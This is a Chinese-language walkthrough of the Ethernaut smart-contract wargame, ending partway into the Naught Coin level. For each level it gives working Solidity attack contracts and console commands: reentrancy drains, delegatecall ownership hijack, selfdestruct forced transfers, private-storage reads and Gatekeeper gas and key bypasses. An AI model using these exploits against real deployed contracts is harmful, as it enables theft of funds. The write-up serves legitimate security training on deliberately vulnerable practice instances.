Ethernaut writeup

现在国内在智能合约安全上的资料比较少,想入门还是挺不容易的Orz,这个靶场现在提供了22道题,如果认真做的话对入门还是有帮助的吧
网址: https://ethernaut.openzeppelin.com/

Hello Ethernaut

签到关,先安装MetaMask
接着打开控制台就可以看到
mark

接着就是跟着提示熟悉一下基本的命令

6.Get test ether:你可以在MetaMask水龙头上获取免费的eth

7.Getting a level instance: 点击页面底部的Get new instance获取实例,获取的时候同时在控制台可以看到提示

接下来就可以在控制台输入contract.info()来查看合同信息

主要还是让我们熟悉操作,跟着提示调用函数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')
// done

最后一步结束以后即可看到合同的源码

mark

Fallback

有两个条件可以达成任务:

  1. 成为合约的owner
  2. 获取所有合约的余额

考点:

  1. 理解fallback函数
  2. Ownable.sol
  3. 旧版的solidity,构造函数的声明不是使用construstor(), 而是使用同名函数,所以名为Fallback的函数是构造函数

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {

using SafeMath for uint256;
mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

合约中Fallback()函数初始化拥有者的贡献度为1000eth

我们可以通过转账来提升贡献度,当贡献度超过1000eth的时候即可成为合约的owner

但是在contribute()函数中规定了每次只能转小于0.001eth的钱,所以行不通

我们把目光放到最底下的未命名函数上

这里要提一下,每个合约账户中都有一个未命名的函数,这个函数没有参数也没有返回值,我们把这个函数成为fallback函数,上面代码中的最后一个函数就是fallback函数

fallback在两种情况下会被调用:

  1. 调用函数中不存在的函数时
  2. 当合约收到以太币时(没有任何数据)

此外,为了接收以太币,fallback函数必须标记为payable

fallback函数也是这道题的考点,知道这些以后就可以开始做题了

fallback函数里只要转账金额大于0,并且贡献度大于0即可成为合约的owner

调用contract.getContribution()查看一下我们的贡献度,现在贡献度为0
mark

1
2
contract.contribute({value:1}) //注意这里的单位是wei,而不是eth
contract.getContribution() //再看一下贡献度

调用contribute()后要等待一会等待交易确认

mark

现在看一下contract.owner(),owner还是原来的地址

mark

现在就要调用fallback函数,可以通过调用不存在的函数或者在控制台调用send函数即可

1
2
contract.sendTransaction({value:1})  //这一步死活转账不成功不知道为什么,如果有知道的大佬麻烦指点一下。。
contract.withdraw()

Fallout

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

using SafeMath for uint256;
mapping (address => uint) allocations;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

通关条件同样还是成为owner

这关其实比上一关还要简单,注意第一个函数Fal1out(),注释里出题人故意写了构造函数,其实不是,是public,任何人都可以调用,直接调用这个Fal1out函数就可以成为owner

contract.Fal1out({value:1})

mark

Coin Flip

考点:随机数安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
//通过上一个区块的hash作为随机数种子
if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

通关条件是连续猜对十次,即consecutiveWins的值要为10

这是经典的区块链伪随机数的问题,在以太坊智能合约中编写的基于随机数的处理逻辑是十分危险的,因为区块链上的数据是公开的,所有人都可以看见,利用公开的数据来生成随机数是不明智的

其实就是要猜中10次随机数, 而随机数的种子是上一个区块的hash值,所以在这道题中,出题人利用block.blockhash(block.number.sub(1))来预测随机数,这是可预测的

一个交易是被打包在一个区块里的,通过attack合约调用Lottery合约,则他们的区块信息是一样的,所以用合约去调用filp就可以猜测出filp会算出的随机数

mark

我们可以部署一个攻击合约,先进行随机数的预测,再来竞猜

原理很简单,然而这个题魔性的很,操作起来很多玄学的地方。。

首先题目的代码给的solidity版本是0.4.18,但import的openzeppelin的SafeMath.sol版本是0.5.0

mark

所以如果直接

1
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol'

是无法成功编译的,因为Coin Flip.sol和SafeMath.sol版本不一致,所以我重新找了一份0.4.18版本的SafeMath.sol,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

library SafeMath {

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}

打开remix新建一个文件命名为SafeMath.sol,将上面的代码粘贴进去后我们就可以再新建一个文件,命名为Coin Flip.sol,将题目代码粘贴,并把import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; 改为import ./SafeMath.sol;即可

下面就是新建一个poc.sol了,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.4.18;
import "./Coin Flip.sol";

contract CoinFlipPoc {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlipPoc(address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}

function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}

编译

mark

环境选择 Injected Web3 ,代码选择 CoinFlipPoc -browser/poc.sol,同时在Deploy后面的空格里填上这关题目的合约地址,即可Deploy

mark

Deploy后就可以调用poc合约中的hack函数了

mark

调用hack函数并且成功确认后,在ethernaut页面的打开控制台输入contract.consecutiveWins()即可看到赢的次数

mark

调用十次即可通关(每次调用都要等成功确认之后才能进行下一次,有的时候比较慢)

Telephone

通关条件:成为owner则通关

考点:tx.origin

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

tx.origin是交易的发送方

msg.sender是消息的发送方

如果直接调用题目合约,则tx.originmsg.sender就相同,无法绕过。所以要用另一个attack合约来调用目标合约中的changeOwner函数,此时tx.origin为用户,msg.sender为attack合约,即可绕过判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

import "./Telephone.sol";

contract TelephonePoc {

Telephone phone;

function TelephonePoc(address aimAddr) public {
phone = Telephone(aimAddr);
}

function attack(address _owner) public{
phone.changeOwner(_owner);
}
}

做题流程就和上一关类似,同样打开remix把源代码和poc都放进去,选择TelephonePoc.sol,执行参数填入题目合约的地址,执行

mark

接着调用attack函数,函数参数填自己的账户地址即可

mark

可以看到owner已经变成自己的账户地址了

mark

Token

考点:整数溢出

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

经典的无符号数滥用,balances的类型为unit,所以

require(balances[msg.sender] - _value >= 0);是始终满足的

当balances为20,value为21的时候就会产生整数下溢

contract.transfer(your_address, 21)就可以绕过验证并转出一笔很大的金额

为了防止整数溢出,应该使用 require(balances[msg.sender] >= _value)

Delegation

考点:

  1. delegatecall的理解

    delegatecall的调用方式是通过函数名hash后的前4个bytes来确定调用函数的

  2. dalegatecall与call的区别

通关条件:成为owner

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

关于delegatecall可以看这篇文章

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。

  • delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。

delegatecall所在的合约A调用合约B的函数时,很多状态不会修改为调用者,即状态还是A合约里的

mark

所以利用方法就明了了:

通过转账触发Delegation合约的fallback函数(fallback函数中有delegatecall),同时设置data为pwn函数的标识符(即id)

web3 提供了 sendTransfer 接口,可以直接给合约传递 msg

查看pwn函数 id 的方法:web3.sha3("pwn()").slice(0,10)

1
2
//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

mark

可以看到owner已经变成了我自己的合约地址

Force

通关条件:让这个合约的余额不为0

考点:强行将以太币置入合约的方式:

  1. 通过自毁
  2. 创建前预先发送eth
  3. 为它挖矿

代码:

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}
  1. 自毁强制转账
1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.18;

contract Attack {

function Attack() payable{}
function hack(address aimaddr) public {
selfdestruct(aimaddr);
}
}

发布attack合约的时候要注意在Value项随便填个数字,自毁的时候才能将这个数作为余额强制转账给题目合约

mark

接着调用hack函数,参数填写题目的合约即可

mark

我们可以打开ropsten看一下交易的详情,有TRANSFER这行就说明靠自毁转账成功了

mark

Vault

通关条件:使locked == false即通关

考点:合约中的所有内容对所有外部观察者都是可见的,私有只会阻止其他合约访问和修改信息

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

解决此关的关键在于如何查看私有变量

将变量标记为私有只会阻止其他合约访问它,标记为私有变量或局部变量的状态变量,仍可被公开访问

具体的可以看这篇文章

所以我们就想办法知道这个属性为private的password

上面提到的那篇文章里也给出了payload,可以用getStorageAt函数来访问合约里变量的值,调用getStorageAt函数需要带上回调函数,可以直接alert出来

1
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}) //password是第二个声明的变量,所以position为1

mark

1
contract.unlock('A very strong secret password :)')

提交即可过关

King

通关条件:你转账给上一任国王,当你转的账大于当前的合约中的prize值,那么你就能成为新一任国王。别人转账大于此值也能成为国王,而你的目标是,成为永久的国王。

考点:当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行.

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

先提一下合约中几种转账方式:

1
<address>.transfer()
  • 当发送失败时会 throw; 回滚状态

  • 只会传递部分 Gas 供调用,防止重入(reentrancy)

1
<address>.send()
  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)
1
<address>.call.value()()
  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

当我们成为 King 之后,如果有人出价比我们高,会首先把钱退回给我们,使用的是transfer

这样思路就比较清晰了,我们令transfer函数在其转账过程中报错,从而返回throws错误,无法继续执行下面的代码,这样就不会产生新的国王了

先查看一下当前最高出价

1
2
fromWei((await contract.prize()).toNumber())
// 1 eth 单位是eth

接下来就可以写攻击合约了

1
2
3
4
5
6
7
8
pragma solidity ^0.4.18;

contract Attacker {
function Attacker() public payable {
address instance_address = 0x6359bad2d77e369484cb39d1009ae5f6b8b4b22b;
instance_address.call.gas(1000000).value(msg.value)();
} //这里的gas()不能去掉
}

发布合约的时候Value要比上一代的king出价高,所以这里填大于1的数

mark

合约确认后在控制台看合约的king,已经改变了

mark

Re-entrancy

通关条件:需要获取合约里的所有余额

考点:重入攻击

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}
}

上一关也提到了,调用<address>.call.value()()进行转账时,会传递所有可用 Gas 供调用,不能有效防止重入(reentrancy),所以这关的漏洞点就在withdraw函数的msg.sender.call.value(_amount)(),详细的原理可以看这里

在提币的过程中,存在一个递归 withdraw 的问题(因为资产修改在转币之后),攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出

mark

先用getBalance(contract.address)可以查看合约的余额,题目初始余额为1eth

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.18;

import './Reentrance.sol';

contract ReentranceAttack{

Reentrance c;

function ReentranceAttack(address _target) public payable {
c = Reentrance(_target);
}

function deposit() public payable{
// 向题目合约转账
c.donate.value(msg.value)(this);
}

function lanchAttack() public{
// 注意
// 1) 经过测试,这里要写两次withdraw函数调用才能成功,如果只写一次,题目合约没有回调攻击合约的fallback功能
// 2) 这里原来是0.5,我按照下面说的,改成0.1了
c.withdraw(0.1 ether);
c.withdraw(0.1 ether);
}

function() public payable{
c.withdraw(0.1 ether);
}

function ethBalance(address _c) public view returns(uint) {
// 此函数用于查看某一地址(如账户/合约的余额)
return _c.balance;
}

function balanceOf(address _c) public view returns(uint) {
// 此函数用于查看题目合约上的各账户余额
return c.balanceOf(_c);
}

function getmoney() public {
msg.sender.transfer(this.balance);
}
}

打开remix,地址填入题目合约地址然后deploy,接着用deposit函数给题目合约转1eth

mark

然后直接调用lanchAttack就可以实现重入攻击获取题目所有的eth

另外发送调用launchAttack函数请求的时候,这里一定要调整gas limit,不然虽然现实交易被确认,但其实并没有成功

mark

这道题真的卡了我很久,虽然网上的poc很多,但是我都试遍了也没有一个可以成功的 后来google找到了一篇帖子,发现是out of gas的问题,之前完全没注意到啊。。。必须要把gas limit调高,默认是几万,太小了,我改成了3000000就成功了

mark

最后可以在控制台用await getBalance(contract.address)看一下余额

如果是0的话说明我们成功了

mark

Elevator

通关条件:爬到最顶层,即让top=true

考点:函数即使被修饰了pure、view等修饰符,虽然会有警告,但还是可以修改状态变量的

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;


interface Building {
function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

逻辑还是很简单的,在goTo函数中先调用了building.isLastFloor(_floor)进行if判断,然后将building.isLastFloor(floor)复制给top。我们的目的是使top=true,所以在第一次调用building.isLastFloor(_floor)时需返回false进入判断,给top赋值的调用需要返回true似的top=true

所以就有poc的思路了,设置一个初始值为true的变量,当每次调用isLastFloor()时,将变量的值取反再返回

另外一个问题就是题目合约在声明isLastFloor函数的时候,赋予了其view属性,view属性表示函数会读取合约变量,但是solidity编译器没有强制阻止view function不能修改状态,所以漏洞点就在这里

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity ^0.4.18;

contract Elevator {
function goTo(uint _floor) public {}
}

contract ElevatorAttack {
bool public isLast = true;

function isLastFloor(uint) public returns (bool) {
isLast = ! isLast;
return isLast;
}

function attack(address _target) public {
Elevator elevator = Elevator(_target);
elevator.goTo(10);
}
}

先部署ElevatorAttack.sol合约,接着执行attack函数,地址填题目合约地址即可

用控制台输入await contract.top(),结果为top即过关

mark

Privacy

通关条件:解锁locked,即令locked=false

考点:

  • 内部存储结构
  • web3 api的使用

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.18;

contract Privacy {

bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

function Privacy(bytes32[3] _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

这题其实算是之前Vault的升级版,要明白solidity中变量的存储,evm是256位的机器,所以存储位对应是32个字节

与Vault一样,先用getStoragetAt()将链上的数据读出来

1
2
3
4
5
6
7
8
9
10
11
web3.eth.getStorageAt(contract.address, 0,function(x,y){console.info(y);})
//0x000000000000000000000000000000000000000000000000000000202eff0a01
web3.eth.getStorageAt(contract.address, 1,function(x,y){console.info(y);})
//0x0f74259e6d561e8b1b0a14253a62df6a679621d0b91120f2aca0215099d78da2
web3.eth.getStorageAt(contract.address, 2,function(x,y){console.info(y);})
//0x5fe29d81540159824c571bbb306011f6aee35856247ba2d2300a0262b702d593
web3.eth.getStorageAt(contract.address, 3,function(x,y){console.info(y);})
//0xe1e2a43e151a2491f0ae907a78100da23c27dbf3ca5652cd63607b6751d50ef3
web3.eth.getStorageAt(contract.address, 4,function(x,y){console.info(y);})
//0x0000000000000000000000000000000000000000000000000000000000000000
//console.info可以换成alert

接下来与对应的合约代码比较一下

1
2
3
4
5
bool public locked = true; // 1字节 01
uint256 public constant ID = block.timestamp; //常量不写入存储
uint8 private flattening = 10; //1字节 0a
uint8 private denomination = 255;//1字节 ff
uint16 private awkwardness = uint16(now);//2字节 e162

所以第一个32字节是由lockedflatteningdenominationawkwardness组成的(常量不需要存储),很明显第二个32字节就是data[0],那么data[2]就是第四个32字节,即

0xe1e2a43e151a2491f0ae907a78100da23c27dbf3ca5652cd63607b6751d50ef3

还要注意data[2]被转换成了bytes16,所以我们只要取前十六位即可

0xe1e2a43e151a2491f0ae907a78100da2

执行contract.unlock(0xe1e2a43e151a2491f0ae907a78100da2)即可解锁

mark

Gatekeeper One

通关条件: 通过三道门的检查, 成为entrant

考点:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

enter函数有三个修饰器,本关的难点也就是如何通过这三个修饰器

  1. gateOne在之前也说过,利用一个自己deploy的合约即可绕过

    在这种情况下,msg.sender是我们自己deploy的和与地址,而tx.origin是我们的钱包地址

  2. gateTwo是这三个门中最难的,这是学习智能合约以来第一次调试。。修饰器条件是要求执行完gas命令后剩余的gas为8191的倍数,注意是执行完命令后剩余的gas,因为在文档里,msg.gas的描述是remaining gas。所以,开始调试吧!

    先将题目的GatekeeperOne.sol部署,环境要改为JavaScript VM,同样我们使用上文的0.4.18版本的SafeMath.sol

mark

然后准备一个专门的合约用来调用enter()的函数用来观察gas的情况,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

import './GatekeeperOne.sol';

contract Backdoor{

GatekeeperOne gk;

function Backdoor (address _target) public {
gk = GatekeeperOne(_target);
}

function enter(uint gaslimit, bytes8 key) public {
gk.enter.gas(gaslimit)(key);
}
}

同样部署一下这个Backdoor合约,部署时address_target要填刚才部署的GatekeeperOne合约的地址

mark

接下来调用Backdoor合约的enter函数,参数这里我把gaslimit设置为足够大的500000,key可以随便填,因为还没有进行到gateThree,这里我填的是0x1234567890123456(因为是bytes8)

mark

调用后交易会失败,但不影响我们调试,点击Debug按钮进入调试界面

先调到GatekeeperOne合约的第0步,看到剩余的gas是468357,再到第319步可以看到汇编窗口里是GAS,说明这步是msg.gas,当前气体数量是468144,此步骤消耗2gas,所以损失的gas总量为468357 - 468144 + 2 = 215。因此最初我调整gas为215 + 8191*50 = 409765

mark

然而第二道门并没有这么容易结束,刚开始进行尝试的时候输入gas为409765发现无论如何都无法改变entrant(在控制台输入await contract.entrant()如果不是0则说明通关),接着又经过漫长的调试过程,发现消耗的gas总是变(我也不知道为什么)。所以在调试的时候直接找到DUP2这一步,在原来的gas上减去一个值,使得这里直接成为8191的倍数(大概经过了3次调整)

mark

调整后的gas是405551,然而用injected Web3正式部署合约调用attack函数时,虽然可以成功部署,但是在控制台查看entrant,仍然是0x0000000000000000000000000000000000000000,说明还没有成功:(

又接着找看是哪里出问题了,查看block详情发现了gas不是我设定的

mark

问题就在这里了,虽然在代码里和deploy界面设置了gas limit的值,但是并未生效,还需要在弹出的MetaMask交易申请页面修改gas limit

mark

gateTwo就可以解决了。。

  1. gateThree中有三个require,第三个require是基于tx.origin的,还是那个原理,msg.sender是攻击合约的地址,tx.origin是我们的钱包地址

    同样我们也写一个合约来测试gateThree

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    pragma solidity ^0.4.18;

    contract GateKeeperCheck {

    function condition2(bytes8 _gateKey) view returns(bool a,bool b, bool c){
    a = uint32(_gateKey) == uint16(_gateKey);
    b = uint32(_gateKey) != uint64(_gateKey);
    c = uint32(_gateKey) == uint16(tx.origin);
    }

    function Converter(address _player) view returns(bytes8 s,uint16 a,uint32 b, uint64 c){
    s = bytes8(_player);
    a = uint16(_player);
    b = uint32(_player);
    c = uint64(_player);
    }
    }

    mark

    这里以我自己的tx.origin为例(即钱包地址),转换为bytes8截断了tx.origin前面8个字节长度

    先了解一下uint系列:

    • UINT16:0到65535(2^16-1)
    • UINT32:0至4294967295(2^32-1)
    • UINT64:0至18446744073709551615(2^64-1)

    强制转换时,如果数字大于数据类型的限制,假如我们执行uint16(x),实际的运算为x%65536,如果小于限制,则直接转换

    为了满足uint32(_gateKey) == uint16(tx.origin)uint32(_gateKey) == uint16(_gateKey),保留uint16(tx.origin)的值最后4位,并且在前面补上四个0即可,即0x0000afab

    为了满足uint32(_gateKey) != uint64(_gateKey),只要将后8个字节改成不是0的即可,否则两个值会一样,即0x000000010000afab

    检验一下:

    mark

最后的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

import "./GatekeeperOne.sol";

contract GatekeeperOnePoc {

GatekeeperOne one;

function GatekeeperOnePoc(address _addr) public{
one = GatekeeperOne(_addr);
}

function attack() public{
one.call.gas(409765)(bytes4(keccak256("enter(bytes8)")), bytes8(0x000000010000afab)); //这里操作时要改为自己的tx.origin
}
}

这道题卡了一天。。还是自己太菜了

mark

参考链接:

Gatekeeper Two

通关条件:与上一关一样,通过三道门成为entrant

考点:

  1. 位运算,详细的可以看文档
  2. 内联汇编

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
  1. gateOne和之前都一样,略过

  2. gateThree也比较简单,是个简单的异或,所以我们再异或一次就可以得到_gateKey

    uint64(_gateKey) = uint64(keccak256(msg.sender) ^ (uint64(0) - 1)

  3. 最麻烦的又是gateTwo,这里用的是内联汇编的写法

    1
    2
    caller : Get caller address.
    extcodesize : Get size of an account’s code.

    extcodesize 用来获取指定地址的合约代码大小,来获取调用方(caller)的代码大小,一般来说,caller为合约时,获取的大小为合约字节码大小;caller为账户时,获取的大小为0

    而gateTwo中要求调用方代码大小为0,显然要想办法绕过

    发现文档中有这么一段

    Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
    ……
    During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

    也就是说在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然后代码区为空,此时,调用EXTCODESIZE()返回为0

    所以需要把攻击合约的调用操作写在constructor构造函数中

    (构造函数:当方法名字和合约名字相同的时候,这个就是构造函数,构造函数在合约对象创建之后执行的)

    poc:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    pragma solidity ^0.4.18;

    import './GatekeeperTwo.sol';

    contract GateKepperTwohack {

    uint64 public mask = 0xFFFFFFFFFFFFFFFF;
    uint64 public _gateKey8Padded = uint64(keccak256(this)) ^ mask;

    function GateKepperTwohack(address _target){
    GatekeeperTwo target = GatekeeperTwo(_target);
    target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(_gateKey8Padded));
    }
    }

    因为构造函数是自动执行的,不需要我们手动调用,所以只要deploy这个poc合约就可以了通关了

    mark

mark

Naught Coin

通关条件:十年后才能执行transfer转移token,需要绕过限制,转移token到别的地址

考点:ERC20

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {

using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;

function NaughtCoin(address _player) public {
player = _player;
